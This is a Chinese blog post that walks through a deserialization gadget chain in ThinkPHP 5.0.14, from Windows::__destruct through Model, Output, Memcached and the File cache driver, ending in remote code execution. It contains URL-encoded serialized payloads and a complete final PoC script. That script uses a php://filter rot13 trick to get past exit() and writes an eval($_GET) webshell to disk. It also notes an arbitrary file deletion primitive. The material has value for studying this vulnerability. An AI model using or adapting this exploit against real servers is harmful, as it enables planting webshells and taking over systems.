ThinkPHP反序列化到rce

ThinkPHP反序列化到rce

自己写一个source点作为漏洞入口

来到index.php文件,定义一个pop()方法

1
2
3
4
public function pop(){
unserialize(request()->get('dada'));
return "ok";
}

思路分析

发现这里有unserialize反序列化函数

回顾一下相关的魔术方法

1
2
3
4
5
6
7
8
9
10
11
- __wakeup() //使用unserialize时触发 !! 
- __sleep() //使用serialize时触发
- destruct() //对象被销毁时触发 !!
- __call() //在对象上下文中调用不可访问的方法时触发 !!
- __callStatic() //在静态上下文中调用不可访问的方法时触发
- get() //用于从不可访问的属性读取数据
- __set() //用于将数据写⼊不可访问的属性
- isset() //在不可访问的属性上调用isset()或empty()触发
- __unset() //在不可访问的属性上使用unset()时触发
- __toString() //把类当作字符串使用时触发,file_exists()判断也会触发 !
- __invoke() //当脚本尝试将对象调用为函数时触发

这里全局搜索destruct方法

来到thinkphp_5.0.14/thinkphp/library/think/process/pipes/Windows.php

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

跟进removeFiles

这里是有一个任意文件删除的

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

其中unlink函数会把传入参数默认为string类型去解析

如果传入的$filename不是string类型而是一个对象,就会触发toString 方法

全局搜索_toString

直接来到漏洞点

thinkphp_5.0.14/thinkphp/library/think/Model.php

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

toArry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

关注到这行语句

1
$item[$key] = $value ? $value->getAttr($attr) : null;

如果value是可控的

那么接下来有两种思路

  1. 调用任意一个对象(类)的getAttr方法(该对象存在)
  2. 调用任意一个类的_call方法(假定该对象不存在)

看一下value是怎么取出来的

1
2
3
4
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

动态调试一下看看整个流程

poc编写

先写一个开头,能够顺利进入pop方法

1
2
3
4
5
public function poc(){
$windows=new \think\process\pipes\Windows(true,"");
$poc=urlencode(serialize($windows));
return $poc;
}

得到序列化后的对象

1
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A8%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A0%3A%7B%7Ds%3A40%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00fileHandles%22%3Ba%3A0%3A%7B%7Ds%3A38%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00readBytes%22%3Ba%3A2%3A%7Bi%3A1%3Bi%3A0%3Bi%3A2%3Bi%3A0%3B%7Ds%3A42%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00disableOutput%22%3Bb%3A1%3Bs%3A5%3A%22pipes%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00inputBuffer%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00%2A%00input%22%3BN%3Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CPipes%00blocked%22%3Bb%3A1%3B%7D

访问url

1
http://localhost/thinkphp_5.0.14/public/index.php/index/index/pop?dada=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A8%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A0%3A%7B%7Ds%3A40%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00fileHandles%22%3Ba%3A0%3A%7B%7Ds%3A38%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00readBytes%22%3Ba%3A2%3A%7Bi%3A1%3Bi%3A0%3Bi%3A2%3Bi%3A0%3B%7Ds%3A42%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00disableOutput%22%3Bb%3A1%3Bs%3A5%3A%22pipes%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00inputBuffer%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00%2A%00input%22%3BN%3Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CPipes%00blocked%22%3Bb%3A1%3B%7D

debug一下,发现能顺利断在我们下的断点处

下一步会走到我们下断点的_destruct方法

进入removeFiles方法,尝试传入$filename参数

$filename是一个私有变量

但是php是没有反射的能让我们反射修改变量

这里严谨一点生成一个filename的setter方法供我们调用

继续编写poc

1
2
3
4
5
6
7
public function poc(){
$windows=new \think\process\pipes\Windows(true,"");
//files参数被定义为数组
$windows->setFiles(array());
$poc=urlencode(serialize($windows));
return $poc;
}

按照刚刚分析的思路,下一步会走到Model类的toString方法

先示例化一下Model类

但是这里Model类是一个抽象类,无法直接实例化

1
abstract class Model implements \JsonSerializable, \ArrayAccess

找到Model类的一个实现类Pivot,我们实例化这个类

将$model作为参数放入setFiles中,对应我们刚刚分析的给unlink传入一个对象,触发该对象的toString方法

1
2
3
4
5
6
7
public function poc(){
$model=new \think\model\Pivot();
$windows=new \think\process\pipes\Windows(true,"");
$windows->setFiles(array($model));
$poc=urlencode(serialize($windows));
return $poc;
}

依旧访问url执行poc方法

1
http://localhost/thinkphp_5.0.14/public/index.php/index/index/poc

得到序列化后的对象

1
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A8%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A35%3A%7Bs%3A6%3A%22parent%22%3BN%3Bs%3A21%3A%22%00%2A%00autoWriteTimestamp%22%3Bb%3A0%3Bs%3A13%3A%22%00%2A%00connection%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00query%22%3BN%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22Pivot%22%3Bs%3A8%3A%22%00%2A%00table%22%3BN%3Bs%3A8%3A%22%00%2A%00class%22%3Bs%3A17%3A%22think%5Cmodel%5CPivot%22%3Bs%3A8%3A%22%00%2A%00error%22%3BN%3Bs%3A11%3A%22%00%2A%00validate%22%3BN%3Bs%3A5%3A%22%00%2A%00pk%22%3BN%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00except%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00disuse%22%3Ba%3A0%3A%7B%7Ds%3A11%3A%22%00%2A%00readonly%22%3Ba%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00append%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00data%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00origin%22%3Ba%3A0%3A%7B%7Ds%3A11%3A%22%00%2A%00relation%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00auto%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00insert%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00update%22%3Ba%3A0%3A%7B%7Ds%3A13%3A%22%00%2A%00createTime%22%3Bs%3A11%3A%22create_time%22%3Bs%3A13%3A%22%00%2A%00updateTime%22%3Bs%3A11%3A%22update_time%22%3Bs%3A13%3A%22%00%2A%00dateFormat%22%3Bs%3A11%3A%22Y-m-d+H%3Ai%3As%22%3Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A0%3A%7B%7Ds%3A11%3A%22%00%2A%00isUpdate%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00force%22%3Bb%3A0%3Bs%3A14%3A%22%00%2A%00updateWhere%22%3BN%3Bs%3A16%3A%22%00%2A%00failException%22%3Bb%3A0%3Bs%3A17%3A%22%00%2A%00useGlobalScope%22%3Bb%3A1%3Bs%3A16%3A%22%00%2A%00batchValidate%22%3Bb%3A0%3Bs%3A16%3A%22%00%2A%00resultSetType%22%3Bs%3A5%3A%22array%22%3Bs%3A16%3A%22%00%2A%00relationWrite%22%3BN%3B%7D%7Ds%3A40%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00fileHandles%22%3Ba%3A0%3A%7B%7Ds%3A38%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00readBytes%22%3Ba%3A2%3A%7Bi%3A1%3Bi%3A0%3Bi%3A2%3Bi%3A0%3B%7Ds%3A42%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00disableOutput%22%3Bb%3A1%3Bs%3A5%3A%22pipes%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00inputBuffer%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00%2A%00input%22%3BN%3Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CPipes%00blocked%22%3Bb%3A1%3B%7D

把序列化数据传入dada变量

动调一下看看

能看到这里会按照我们预想的一样进入toArray方法

接下来我们看看能否控制value变量

1
2
3
4
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

从代码上可以初步判断value的获取过程

$value->$modelRelation->$relation->$name

$name是从append中获得

1
foreach ($this->append as $key => $name)

下一个断点在这里查看能否顺利进入有关append的代码

发现走到这里就跳过了,因为我们还没有对append赋值

生成setter函数,我们在poc中调用setAppend对其赋值

1
2
3
4
5
6
7
8
public function poc(){
$model=new \think\model\Pivot();
$model->setAppend(array("a"=>"b"));
$windows=new \think\process\pipes\Windows(true,"");
$windows->setFiles(array($model));
$poc=urlencode(serialize($windows));
return $poc;
}

动调时看到name是我们输入的b,所以这里的name是我们可控的,value我们同样可控

接下来的代码流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Loader::parseName($name, 1, false)
//将追加属性名转换为方法名(进行了一些去_之类的操作)
method_exists($this, $relation)
//验证关联方法是否真实存在
$modelRelation = $this->$relation()
//动态方法调用:使用变量作为方法名调用方法
/*
// 假设在模型中定义了:
public function userInfo()
{
return $this->belongsTo('User', 'user_id');
}
// 这里相当于调用:
$modelRelation = $this->userInfo();
// 返回一个 BelongsTo 关联对象
*/
$value = $this->getRelationData($modelRelation)
//从关联对象中获取实际的数据
/*
// 假设是 User 模型
$value = $this->getRelationData($modelRelation);
// 返回:User 模型实例,包含用户数据
*/

也就是说我们这里可以通过控制name的值调用Model类的任意方法

1
$value = $this->getRelationData($modelRelation)

还需要调用的这个方法能够返回一个对象或者类

1
2
3
4
5
6
7
8
9
10
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}

联系后续代码发现,调用的方法返回的对象或者类还需要存在getBindAttr方法

同时我们需要在执行$this->getRelationData($modelRelation)时得到value可控

我们找到getError方法

在Model类中生成一个setError方法

寻找存在getBindAttr方法的类

找到OneToOne这个类存在getBindAttr方法

但是这是一个抽象类,我们选择实例化他的实现类HasOne

继续编写poc

1
2
3
4
5
6
7
8
9
10
11
public function poc(){
$model=new \think\model\Pivot();
$error = new \think\model\relation\HasOne(new \think\model\Pivot(),
'\think\model\Pivot',"","");
$model->setError($error);
$model->setAppend(array("a"=>"getError"));
$windows=new \think\process\pipes\Windows(true,"");
$windows->setFiles(array($model));
$poc=urlencode(serialize($windows));
return $poc;
}

看一下getRelationData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && get_class($this->parent) == $modelRelation->getModel()) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

可以看到如果顺利返回$value那么就可以继续向下执行,调用HasOne类的不存在的getAttr方法,进而调用_call方法

现在我们来用一个完整的poc走到这一步(填充所有需要的参数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function poc(){
$model = new \think\model\Pivot();
$append = array("a"=>"getError");
$error = new \think\model\relation\BelongsTo(new \think\model\Merge(),
'\think\model\Merge',"","");
$error->setRelation(false);
$error->setModel("");
$error->setBindAttr(array("test"=>"xx"));
$query = new \think\db\Query();
$query->setModel(new \think\console\Output());
$error->setQuery($query);
$output = new \think\console\Output();
$model->setParent($output);
$model->setError($error);
$model->setAppend($append);
$files = array($model);
$window = new \think\process\pipes\Windows(true,"");
$window->setFiles($files);
$x = serialize($window);
echo urlencode($x);
}

这里没有复现成功

1
2
3
4
$value  = $this->getRelationData($modelRelation);
->$value = $modelRelation->getRelation();
->return $this->getAttr($name);
->$value = $this->getData($name);

经过一些关键代码没有获取到value的值,报错为

1
Method think\model\Pivot::__toString() must not throw an exception, caught think\exception\ErrorException: array_key_exists(): The first argument should be either a string or an integer

研究了很久没有解决,先跳过看看_call的调用

如果是正常执行,走到这一步

会去查找我们的$value设定的对象中有没有getAttr方法,我们刚刚找到的BelongsTo类中显然是没有的

那么我们就可以通过给一些参数赋值来调用一些类的_call方法

搜索语句

1
function __call(

这里不做一一筛选,直接来到Output类

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

可以看到这里有能够命令执行的函数call_user_func_array,$args,styles都是我们可控的

$method是getAttr

正常执行会调用到block方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

//调用当前对象handle属性的write方法
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

block方法会走到write方法,通过设置handle的值可以调用某些类的write方法,或者调用到_call方法

现在来搜索一下哪个类调用了write方法

来到Memcached类

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

继续搜索哪个类有set方法

找到File类的set方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

这里有一个写文件的操作

1
file_put_contents($filename, $data)

主要关注$filename和$data是否可控

$filename来源于

1
$filename = $this->getCacheKey($name, true);

这里需要关注到一个函数setTagItem($filename)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

跟进去发现这个函数中又执行了set函数,相当于整体上这个set函数会执行两遍

这里将文件名又放进set函数,但是这次文件名已经是$value,或者说可控点已经是 $value了

看过了$filename,现在来看看变量$data的情况

关注到这里

1
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

翻译:
构造最终写入缓存文件的内容:

1
2
3
4
<?php
//0000003600
exit();?>
<序列化或压缩后的数据>

如果想办法能绕过函数exit();,传入php木马,那么就可以实现rce

简述一下执行流程:

set函数只执行了第一遍的时候,还没有加入缓存数据

这个缓存文件名字叫098f6bcd4621d373cade4e832627b4f6.php(名称随机)

此时的文件内容是

1
2
3
<?php
//0000003600
exit();?>

之后会进入到setTagItem函数,存储我们输入的文件名

此时的$value值就对应我们的文件名,如果把这个文件名改成木马,并且能够绕过exit()函数,就能成功实现rce

这里使用伪协议的方式来绕过:

1
2
https://zhuanlan.zhihu.com/p/410576800
https://blog.csdn.net/rfrder/article/details/113094542

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
require __DIR__ . '/../thinkphp/base.php';
$model = new \think\model\Pivot();
$append = array("a"=>"getError");
$error = new \think\model\relation\BelongsTo(new \think\model\Merge(),
'\think\model\Merge',"","");
$error->setSelfRelation(false);
$error->setModel("");
$error->setBindAttr(array("test"=>"xx"));
$query = new \think\db\Query();
$query->setModel(new \think\console\Output());
$error->setQuery($query);
$output = new \think\console\Output();
$output->setStyles(array("getAttr"));
$handle1 = new \think\cache\driver\File();
$handle1-
>setOptions(array('path'=>'php://filter/write=string.rot13/resource=<?
cuc @riny($_TRG[_]);?>',"cache_subdir"=>false,"prefix"=>false,
'data_compress'=>false));
$handle1->setTag("abcd");
$handle2 = new \think\session\driver\Memcached();
$handle2->setHandler($handle1);
$output->setHandle($handle2);
$model->setParent($output);
$model->setError($error);
$model->setAppend($append);
$files = array($model);
$window = new \think\process\pipes\Windows(true,"");
$window->setFiles($files);
$x = serialize($window);
//$y = unserialize($x);
echo urlencode($x);
?>

ThinkPHP反序列化到rce
http://huang-d1.github.io/2026/01/04/ThinkPHP反序列化到rce/
作者
huangdi
发布于
2026年1月4日
许可协议